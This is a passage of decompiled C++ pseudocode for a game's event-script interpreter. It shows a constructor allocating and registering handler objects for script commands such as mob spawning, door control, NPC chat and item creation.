v124; // edx@250 void *v125; // eax@253 PineEventScriptNode::StatementBase *v126; // eax@254 unsigned int v127; // edx@256 void *v128; // eax@259 PineEventScriptNode::StatementBase *v129; // eax@260 unsigned int v130; // edx@262 void *v131; // eax@265 PineEventScriptNode::StatementBase *v132; // eax@266 unsigned int v133; // edx@268 void *v134; // eax@271 PineEventScriptNode::StatementBase *v135; // eax@272 unsigned int v136; // edx@274 void *v137; // eax@277 PineEventScriptNode::StatementBase *v138; // eax@278 unsigned int v139; // edx@280 void *v140; // eax@283 PineEventScriptNode::StatementBase *v141; // eax@284 unsigned int v142; // edx@286 void *v143; // eax@289 PineEventScriptNode::StatementBase *v144; // eax@290 unsigned int v145; // edx@292 void *v146; // eax@295 PineEventScriptNode::StatementBase *v147; // eax@296 unsigned int v148; // edx@298 void *v149; // eax@301 PineEventScriptNode::StatementBase *v150; // eax@302 unsigned int v151; // edx@304 void *v152; // eax@307 PineEventScriptNode::StatementBase *v153; // eax@308 unsigned int v154; // edx@310 void *v155; // eax@313 PineEventScriptNode::StatementBase *v156; // eax@314 unsigned int v157; // edx@316 void *v158; // eax@319 PineEventScriptNode::StatementBase *v159; // eax@320 unsigned int v160; // edx@322 void *v161; // eax@325 PineEventScriptNode::StatementBase *v162; // eax@326 unsigned int v163; // edx@328 void *v164; // eax@331 PineEventScriptNode::StatementBase *v165; // eax@332 unsigned int v166; // edx@334 void *v167; // eax@337 PineEventScriptNode::StatementBase *v168; // eax@338 unsigned int v169; // edx@340 void *v170; // eax@343 PineEventScriptNode::StatementBase *v171; // eax@344 unsigned int v172; // edx@346 void *v173; // eax@349 PineEventScriptNode::StatementBase *v174; // eax@350 unsigned int v175; // edx@352 void *v176; // eax@355 PineEventScriptNode::StatementBase *v177; // eax@356 unsigned int v178; // edx@358 void *v179; // eax@361 PineEventScriptNode::StatementBase *v180; // eax@362 unsigned int v181; // edx@364 void *v182; // eax@367 PineEventScriptNode::StatementBase *v183; // eax@368 unsigned int v184; // edx@370 void *v185; // eax@373 PineEventScriptNode::StatementBase *v186; // eax@374 unsigned int v187; // edx@376 void *v188; // eax@379 PineEventScriptNode::StatementBase *v189; // eax@380 unsigned int v190; // edx@382 void *v191; // eax@385 PineEventScriptNode::StatementBase *v192; // eax@386 unsigned int v193; // edx@388 void *v194; // eax@391 PineEventScriptNode::StatementBase *v195; // eax@392 unsigned int v196; // edx@394 void *v197; // eax@397 PineEventScriptNode::StatementBase *v198; // eax@398 unsigned int v199; // edx@400 void *v200; // eax@403 PineEventScriptNode::StatementBase *v201; // eax@404 unsigned int v202; // edx@406 void *v203; // eax@409 PineEventScriptNode::StatementBase *v204; // eax@410 unsigned int v205; // edx@412 void *v206; // eax@415 PineEventScriptNode::StatementBase *v207; // eax@416 unsigned int v208; // edx@418 void *v209; // eax@421 PineEventScriptNode::StatementBase *v210; // eax@422 unsigned int v211; // edx@424 void *v212; // eax@427 PineEventScriptNode::StatementBase *v213; // eax@428 unsigned int v214; // edx@430 void *v215; // eax@433 PineEventScriptNode::StatementBase *v216; // eax@434 unsigned int v217; // edx@436 void *v218; // eax@439 PineEventScriptNode::StatementBase *v219; // eax@440 unsigned int v220; // edx@442 void *v221; // eax@445 PineEventScriptNode::StatementBase *v222; // eax@446 unsigned int v223; // edx@448 void *v224; // eax@451 PineEventScriptNode::StatementBase *v225; // eax@452 unsigned int v226; // edx@454 void *v227; // eax@457 PineEventScriptNode::StatementBase *v228; // eax@458 unsigned int v229; // edx@460 void *v230; // eax@463 PineEventScriptNode::StatementBase *v231; // eax@464 unsigned int v232; // edx@466 void *v233; // eax@469 PineEventScriptNode::StatementBase *v234; // eax@470 unsigned int v235; // edx@472 void *v236; // eax@475 PineEventScriptNode::StatementBase *v237; // eax@476 unsigned int v238; // edx@478 void *v239; // eax@481 PineEventScriptNode::StatementBase *v240; // eax@482 unsigned int v241; // edx@484 void *v242; // eax@487 PineEventScriptNode::StatementBase *v243; // eax@488 void *v244; // eax@490 PineEventScriptNode::StatementBase *v245; // eax@491 void *v246; // eax@493 PineEventScriptNode::StatementBase *v247; // eax@494 void *v248; // eax@496 PineEventScriptNode::StatementBase *v249; // eax@497 void *v250; // eax@499 PineEventScriptNode::StatementBase *v251; // eax@500 void *v252; // eax@502 PineEventScriptNode::StatementBase *v253; // eax@503 void *v254; // eax@505 PineEventScriptNode::StatementBase *v255; // eax@506 void *v256; // eax@508 PineEventScriptNode::StatementBase *v257; // eax@509 void *v258; // eax@511 PineEventScriptNode::StatementBase *v259; // eax@512 void *v260; // eax@514 PineEventScriptNode::StatementBase *v261; // eax@515 void *v262; // eax@517 PineEventScriptNode::StatementBase *v263; // eax@518 void *v264; // eax@520 PineEventScriptNode::StatementBase *v265; // eax@521 v1 = this; this->sl_Point = 0; v2 = operator new(0x12Cu); if ( v2 ) { *(_DWORD *)v2 = &PineEventScriptNode::StateAssignment::_vftable_; *((_DWORD *)v2 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; *((_DWORD *)v2 + 4) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v2 + 5) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v2 + 7) = 0; *((_DWORD *)v2 + 6) = 0; *((_DWORD *)v2 + 8) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v2 + 36) = 0; *((_DWORD *)v2 + 73) = 0; *((_DWORD *)v2 + 74) = 0; } else { v2 = 0; } v3 = v1->sl_Point; if ( v3 < 0x80 ) { v1->sl_Array[v3] = (PineEventScriptNode::StatementBase *)v2; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v4 = operator new(0x118u); if ( v4 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v4); else v5 = 0; v6 = v1->sl_Point; if ( v6 < 0x80 ) { v1->sl_Array[v6] = v5; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v7 = operator new(0x4A08u); if ( v7 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v7); else v8 = 0; v9 = v1->sl_Point; if ( v9 < 0x80 ) { v1->sl_Array[v9] = v8; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v10 = operator new(0x11Cu); if ( v10 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v10); else v11 = 0; v12 = v1->sl_Point; if ( v12 < 0x80 ) { v1->sl_Array[v12] = v11; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v13 = operator new(0x460u); if ( v13 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v13); else v14 = 0; v15 = v1->sl_Point; if ( v15 < 0x80 ) { v1->sl_Array[v15] = v14; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v16 = operator new(0x350u); v17 = v16; if ( v16 ) { *(_DWORD *)v16 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v16 + 4)); *((_DWORD *)v17 + 211) = 0; *((_DWORD *)v17 + 210) = 0; } else { v17 = 0; } v18 = v1->sl_Point; if ( v18 < 0x80 ) { v1->sl_Array[v18] = (PineEventScriptNode::StatementBase *)v17; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v19 = operator new(0x124u); if ( v19 ) { *(_DWORD *)v19 = &PineEventScriptNode::StateCall::_vftable_; *((_DWORD *)v19 + 1) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v19 + 2) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v19 + 4) = 0; *((_DWORD *)v19 + 3) = 0; *((_DWORD *)v19 + 5) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v19 + 24) = 0; *((_DWORD *)v19 + 70) = 0; *((_DWORD *)v19 + 71) = 0; *((_DWORD *)v19 + 72) = 0; } else { v19 = 0; } v20 = v1->sl_Point; if ( v20 < 0x80 ) { v1->sl_Array[v20] = (PineEventScriptNode::StatementBase *)v19; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v21 = operator new(0x140u); v22 = v21; if ( v21 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v21, "print"); *(_DWORD *)v22 = &PineEventScriptNode::StatePrint::_vftable_; } else { v22 = 0; } v23 = v1->sl_Point; if ( v23 < 0x80 ) { v1->sl_Array[v23] = (PineEventScriptNode::StatementBase *)v22; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v24 = operator new(0x10u); if ( v24 ) { *(_DWORD *)v24 = &PineEventScriptNode::StatePermillage::_vftable_; *((_DWORD *)v24 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v24 + 2) = 0; *((_DWORD *)v24 + 3) = 0; } else { v24 = 0; } v25 = v1->sl_Point; if ( v25 < 0x80 ) { v1->sl_Array[v25] = (PineEventScriptNode::StatementBase *)v24; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v26 = operator new(8u); if ( v26 ) { *(_DWORD *)v26 = &PineEventScriptNode::StateBreak::_vftable_; *((_DWORD *)v26 + 1) = 0; v27 = v26; } else { v27 = 0; } v28 = v1->sl_Point; if ( v28 < 0x80 ) { v1->sl_Array[v28] = (PineEventScriptNode::StatementBase *)v27; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v29 = operator new(0xBCu); if ( v29 ) PineEventScriptNode::ShinePrintf::ShinePrintf((PineEventScriptNode::ShinePrintf *)v29); else v30 = 0; v31 = v1->sl_Point; if ( v31 < 0x80 ) { v1->sl_Array[v31] = v30; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v32 = operator new(0xBCu); if ( v32 ) PineEventScriptNode::ShineScriptFile::ShineScriptFile((PineEventScriptNode::ShineScriptFile *)v32); else v33 = 0; v34 = v1->sl_Point; if ( v34 < 0x80 ) { v1->sl_Array[v34] = v33; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v35 = operator new(0xBCu); if ( v35 ) PineEventScriptNode::ShineTimeLimit::ShineTimeLimit((PineEventScriptNode::ShineTimeLimit *)v35); else v36 = 0; v37 = v1->sl_Point; if ( v37 < 0x80 ) { v1->sl_Array[v37] = v36; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v38 = operator new(0xBCu); if ( v38 ) PineEventScriptNode::ShineInterruptClear::ShineInterruptClear((PineEventScriptNode::ShineInterruptClear *)v38); else v39 = 0; v40 = v1->sl_Point; if ( v40 < 0x80 ) { v1->sl_Array[v40] = v39; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v41 = operator new(0xBCu); if ( v41 ) PineEventScriptNode::ShineInterruptSet::ShineInterruptSet((PineEventScriptNode::ShineInterruptSet *)v41); else v42 = 0; v43 = v1->sl_Point; if ( v43 < 0x80 ) { v1->sl_Array[v43] = v42; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v44 = operator new(0xBCu); if ( v44 ) PineEventScriptNode::ShineInterruptErase::ShineInterruptErase((PineEventScriptNode::ShineInterruptErase *)v44); else v45 = 0; v46 = v1->sl_Point; if ( v46 < 0x80 ) { v1->sl_Array[v46] = v45; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v47 = operator new(0xBCu); if ( v47 ) PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt((PineEventScriptNode::ShineWaitInterrupt *)v47); else v48 = 0; v49 = v1->sl_Point; if ( v49 < 0x80 ) { v1->sl_Array[v49] = v48; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v50 = operator new(0xBCu); if ( v50 ) PineEventScriptNode::ShineMobRegen::ShineMobRegen((PineEventScriptNode::ShineMobRegen *)v50); else v51 = 0; v52 = v1->sl_Point; if ( v52 < 0x80 ) { v1->sl_Array[v52] = v51; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v53 = operator new(0xBCu); if ( v53 ) PineEventScriptNode::ShineDoorBuild::ShineDoorBuild((PineEventScriptNode::ShineDoorBuild *)v53); else v54 = 0; v55 = v1->sl_Point; if ( v55 < 0x80 ) { v1->sl_Array[v55] = v54; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v56 = operator new(0xBCu); if ( v56 ) PineEventScriptNode::ShineNPCStand::ShineNPCStand((PineEventScriptNode::ShineNPCStand *)v56); else v57 = 0; v58 = v1->sl_Point; if ( v58 < 0x80 ) { v1->sl_Array[v58] = v57; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v59 = operator new(0xBCu); if ( v59 ) PineEventScriptNode::ShineChange2Mob::ShineChange2Mob((PineEventScriptNode::ShineChange2Mob *)v59); else v60 = 0; v61 = v1->sl_Point; if ( v61 < 0x80 ) { v1->sl_Array[v61] = v60; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v62 = operator new(0xBCu); if ( v62 ) PineEventScriptNode::ShineChange2Door::ShineChange2Door((PineEventScriptNode::ShineChange2Door *)v62); else v63 = 0; v64 = v1->sl_Point; if ( v64 < 0x80 ) { v1->sl_Array[v64] = v63; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v65 = operator new(0xBCu); if ( v65 ) PineEventScriptNode::ShineChange2NPC::ShineChange2NPC((PineEventScriptNode::ShineChange2NPC *)v65); else v66 = 0; v67 = v1->sl_Point; if ( v67 < 0x80 ) { v1->sl_Array[v67] = v66; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v68 = operator new(0xBCu); if ( v68 ) PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob((PineEventScriptNode::ShineExchange2Mob *)v68); else v69 = 0; v70 = v1->sl_Point; if ( v70 < 0x80 ) { v1->sl_Array[v70] = v69; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v71 = operator new(0xBCu); if ( v71 ) PineEventScriptNode::ShineDoorOpen::ShineDoorOpen((PineEventScriptNode::ShineDoorOpen *)v71); else v72 = 0; v73 = v1->sl_Point; if ( v73 < 0x80 ) { v1->sl_Array[v73] = v72; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v74 = operator new(0xBCu); if ( v74 ) PineEventScriptNode::ShineDoorClose::ShineDoorClose((PineEventScriptNode::ShineDoorClose *)v74); else v75 = 0; v76 = v1->sl_Point; if ( v76 < 0x80 ) { v1->sl_Array[v76] = v75; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v77 = operator new(0xBCu); if ( v77 ) PineEventScriptNode::ShineObjectVanish::ShineObjectVanish((PineEventScriptNode::ShineObjectVanish *)v77); else v78 = 0; v79 = v1->sl_Point; if ( v79 < 0x80 ) { v1->sl_Array[v79] = v78; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v80 = operator new(0xBCu); if ( v80 ) PineEventScriptNode::ShineRegenGroup::ShineRegenGroup((PineEventScriptNode::ShineRegenGroup *)v80); else v81 = 0; v82 = v1->sl_Point; if ( v82 < 0x80 ) { v1->sl_Array[v82] = v81; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v83 = operator new(0xBCu); if ( v83 ) PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin((PineEventScriptNode::ShineWaitUserLogin *)v83); else v84 = 0; v85 = v1->sl_Point; if ( v85 < 0x80 ) { v1->sl_Array[v85] = v84; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v86 = operator new(0xBCu); if ( v86 ) PineEventScriptNode::ShinePause::ShinePause((PineEventScriptNode::ShinePause *)v86); else v87 = 0; v88 = v1->sl_Point; if ( v88 < 0x80 ) { v1->sl_Array[v88] = v87; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v89 = operator new(0xBCu); if ( v89 ) PineEventScriptNode::ShineNPCChat::ShineNPCChat((PineEventScriptNode::ShineNPCChat *)v89); else v90 = 0; v91 = v1->sl_Point; if ( v91 < 0x80 ) { v1->sl_Array[v91] = v90; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v92 = operator new(0xBCu); if ( v92 ) PineEventScriptNode::ShineNPCShout::ShineNPCShout((PineEventScriptNode::ShineNPCShout *)v92); else v93 = 0; v94 = v1->sl_Point; if ( v94 < 0x80 ) { v1->sl_Array[v94] = v93; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v95 = operator new(0xBCu); if ( v95 ) PineEventScriptNode::ShineChatWindow::ShineChatWindow((PineEventScriptNode::ShineChatWindow *)v95); else v96 = 0; v97 = v1->sl_Point; if ( v97 < 0x80 ) { v1->sl_Array[v97] = v96; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v98 = operator new(0xBCu); if ( v98 ) PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange((PineEventScriptNode::ShineChatWindowRange *)v98); else v99 = 0; v100 = v1->sl_Point; if ( v100 < 0x80 ) { v1->sl_Array[v100] = v99; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v101 = operator new(0xBCu); if ( v101 ) PineEventScriptNode::ShineSummonMob::ShineSummonMob((PineEventScriptNode::ShineSummonMob *)v101); else v102 = 0; v103 = v1->sl_Point; if ( v103 < 0x80 ) { v1->sl_Array[v103] = v102; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v104 = operator new(0xBCu); if ( v104 ) PineEventScriptNode::ShineQuestResult::ShineQuestResult((PineEventScriptNode::ShineQuestResult *)v104); else v105 = 0; v106 = v1->sl_Point; if ( v106 < 0x80 ) { v1->sl_Array[v106] = v105; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v107 = operator new(0xBCu); if ( v107 ) PineEventScriptNode::ShineReward::ShineReward((PineEventScriptNode::ShineReward *)v107); else v108 = 0; v109 = v1->sl_Point; if ( v109 < 0x80 ) { v1->sl_Array[v109] = v108; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v110 = operator new(0xBCu); if ( v110 ) PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout((PineEventScriptNode::ShineSomeoneShout *)v110); else v111 = 0; v112 = v1->sl_Point; if ( v112 < 0x80 ) { v1->sl_Array[v112] = v111; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v113 = operator new(0xBCu); if ( v113 ) PineEventScriptNode::ShineBroadcast::ShineBroadcast((PineEventScriptNode::ShineBroadcast *)v113); else v114 = 0; v115 = v1->sl_Point; if ( v115 < 0x80 ) { v1->sl_Array[v115] = v114; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v116 = operator new(0xBCu); if ( v116 ) PineEventScriptNode::ShineLinkTo::ShineLinkTo((PineEventScriptNode::ShineLinkTo *)v116); else v117 = 0; v118 = v1->sl_Point; if ( v118 < 0x80 ) { v1->sl_Array[v118] = v117; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v119 = operator new(0xBCu); if ( v119 ) PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe((PineEventScriptNode::ShineWhoClickMe *)v119); else v120 = 0; v121 = v1->sl_Point; if ( v121 < 0x80 ) { v1->sl_Array[v121] = v120; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v122 = operator new(0xBCu); if ( v122 ) PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe((PineEventScriptNode::ShineWhoKillMe *)v122); else v123 = 0; v124 = v1->sl_Point; if ( v124 < 0x80 ) { v1->sl_Array[v124] = v123; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v125 = operator new(0xBCu); if ( v125 ) PineEventScriptNode::ShineItemDrop::ShineItemDrop((PineEventScriptNode::ShineItemDrop *)v125); else v126 = 0; v127 = v1->sl_Point; if ( v127 < 0x80 ) { v1->sl_Array[v127] = v126; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v128 = operator new(0xBCu); if ( v128 ) PineEventScriptNode::ShineInvenSearch::ShineInvenSearch((PineEventScriptNode::ShineInvenSearch *)v128); else v129 = 0; v130 = v1->sl_Point; if ( v130 < 0x80 ) { v1->sl_Array[v130] = v129; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v131 = operator new(0xBCu); if ( v131 ) PineEventScriptNode::ShineItemCreate::ShineItemCreate((PineEventScriptNode::ShineItemCreate *)v131); else v132 = 0; v133 = v1->sl_Point; if ( v133 < 0x80 ) { v1->sl_Array[v133] = v132; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v134 = operator new(0xBCu); if ( v134 ) PineEventScriptNode::ShineItemErase::ShineItemErase((PineEventScriptNode::ShineItemErase *)v134); else v135 = 0; v136 = v1->sl_Point; if ( v136 < 0x80 ) { v1->sl_Array[v136] = v135; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v137 = operator new(0xBCu); if ( v137 ) PineEventScriptNode::ShineFindHandle::ShineFindHandle((PineEventScriptNode::ShineFindHandle *)v137); else v138 = 0; v139 = v1->sl_Point; if ( v139 < 0x80 ) { v1->sl_Array[v139] = v138; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v140 = operator new(0xBCu); if ( v140 ) PineEventScriptNode::ShineAbstatSet::ShineAbstatSet((PineEventScriptNode::ShineAbstatSet *)v140); else v141 = 0; v142 = v1->sl_Point; if ( v142 < 0x80 ) { v1->sl_Array[v142] = v141; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v143 = operator new(0xBCu); if ( v143 ) PineEventScriptNode::ShineAbstatReset::ShineAbstatReset((PineEventScriptNode::ShineAbstatReset *)v143); else v144 = 0; v145 = v1->sl_Point; if ( v145 < 0x80 ) { v1->sl_Array[v145] = v144; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v146 = operator new(0xBCu); if ( v146 ) PineEventScriptNode::ShineSuicide::ShineSuicide((PineEventScriptNode::ShineSuicide *)v146); else v147 = 0; v148 = v1->sl_Point; if ( v148 < 0x80 ) { v1->sl_Array[v148] = v147; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v149 = operator new(0xBCu); if ( v149 ) PineEventScriptNode::ShineRun::ShineRun((PineEventScriptNode::ShineRun *)v149); else v150 = 0; v151 = v1->sl_Point; if ( v151 < 0x80 ) { v1->sl_Array[v151] = v150; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v152 = operator new(0xBCu); if ( v152 ) PineEventScriptNode::ShineWalk::ShineWalk((PineEventScriptNode::ShineWalk *)v152); else v153 = 0; v154 = v1->sl_Point; if ( v154 < 0x80 ) { v1->sl_Array[v154] = v153; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v155 = operator new(0xBCu); if ( v155 ) PineEventScriptNode::ShineMapLight::ShineMapLight((PineEventScriptNode::ShineMapLight *)v155); else v156 = 0; v157 = v1->sl_Point; if ( v157 < 0x80 ) { v1->sl_Array[v157] = v156; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v158 = operator new(0xBCu); if ( v158 ) PineEventScriptNode::ShineMapFog::ShineMapFog((PineEventScriptNode::ShineMapFog *)v158); else v159 = 0; v160 = v1->sl_Point; if ( v160 < 0x80 ) { v1->sl_Array[v160] = v159; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v161 = operator new(0xBCu); if ( v161 ) PineEventScriptNode::ShineEffectObject::ShineEffectObject((PineEventScriptNode::ShineEffectObject *)v161); else v162 = 0; v163 = v1->sl_Point; if ( v163 < 0x80 ) { v1->sl_Array[v163] = v162; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v164 = operator new(0xBCu); if ( v164 ) PineEventScriptNode::ShineEffectLocate::ShineEffectLocate((PineEventScriptNode::ShineEffectLocate *)v164); else v165 = 0; v166 = v1->sl_Point; if ( v166 < 0x80 ) { v1->sl_Array[v166] = v165; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v167 = operator new(0xBCu); if ( v167 ) PineEventScriptNode::ShineAggro::ShineAggro((PineEventScriptNode::ShineAggro *)v167); else v168 = 0; v169 = v1->sl_Point; if ( v169 < 0x80 ) { v1->sl_Array[v169] = v168; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v170 = operator new(0xBCu); if ( v170 ) PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate((PineEventScriptNode::ShineMobWeaponRate *)v170); else v171 = 0; v172 = v1->sl_Point; if ( v172 < 0x80 ) { v1->sl_Array[v172] = v171; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v173 = operator new(0xBCu); if ( v173 ) PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange((PineEventScriptNode::ShineMobDetectRange *)v173); else v174 = 0; v175 = v1->sl_Point; if ( v175 < 0x80 ) { v1->sl_Array[v175] = v174; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v176 = operator new(0xBCu); if ( v176 ) PineEventScriptNode::ShineHeal::ShineHeal((PineEventScriptNode::ShineHeal *)v176); else v177 = 0; v178 = v1->sl_Point; if ( v178 < 0x80 ) { v1->sl_Array[v178] = v177; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v179 = operator new(0xBCu); if ( v179 ) PineEventScriptNode::ShineAnimate::ShineAnimate((PineEventScriptNode::ShineAnimate *)v179); else v180 = 0; v181 = v1->sl_Point; if ( v181 < 0x80 ) { v1->sl_Array[v181] = v180; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v182 = operator new(0xBCu); if ( v182 ) PineEventScriptNode::ShineDuplicate::ShineDuplicate((PineEventScriptNode::ShineDuplicate *)v182); else v183 = 0; v184 = v1->sl_Point; if ( v184 < 0x80 ) { v1->sl_Array[v184] = v183; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v185 = operator new(0xBCu); if ( v185 ) PineEventScriptNode::ShineWaitIdle::ShineWaitIdle((PineEventScriptNode::ShineWaitIdle *)v185); else v186 = 0; v187 = v1->sl_Point; if ( v187 < 0x80 ) { v1->sl_Array[v187] = v186; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v188 = operator new(0xBCu); if ( v188 ) PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear((PineEventScriptNode::ShineDeathCountClear *)v188); else v189 = 0; v190 = v1->sl_Point; if ( v190 < 0x80 ) { v1->sl_Array[v190] = v189; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v191 = operator new(0xBCu); if ( v191 ) PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet((PineEventScriptNode::ShineItemAttrSet *)v191); else v192 = 0; v193 = v1->sl_Point; if ( v193 < 0x80 ) { v1->sl_Array[v193] = v192; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v194 = operator new(0xBCu); if ( v194 ) PineEventScriptNode::ShineScinarioCode::ShineScinarioCode((PineEventScriptNode::ShineScinarioCode *)v194); else v195 = 0; v196 = v1->sl_Point; if ( v196 < 0x80 ) { v1->sl_Array[v196] = v195; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v197 = operator new(0xBCu); if ( v197 ) PineEventScriptNode::ShineBattleStart::ShineBattleStart((PineEventScriptNode::ShineBattleStart *)v197); else v198 = 0; v199 = v1->sl_Point; if ( v199 < 0x80 ) { v1->sl_Array[v199] = v198; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v200 = operator new(0xBCu); if ( v200 ) PineEventScriptNode::ShineBattleStop::ShineBattleStop((PineEventScriptNode::ShineBattleStop *)v200); else v201 = 0; v202 = v1->sl_Point; if ( v202 < 0x80 ) { v1->sl_Array[v202] = v201; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v203 = operator new(0xBCu); if ( v203 ) PineEventScriptNode::ShineSendKQResult::ShineSendKQResult((PineEventScriptNode::ShineSendKQResult *)v203); else v204 = 0; v205 = v1->sl_Point; if ( v205 < 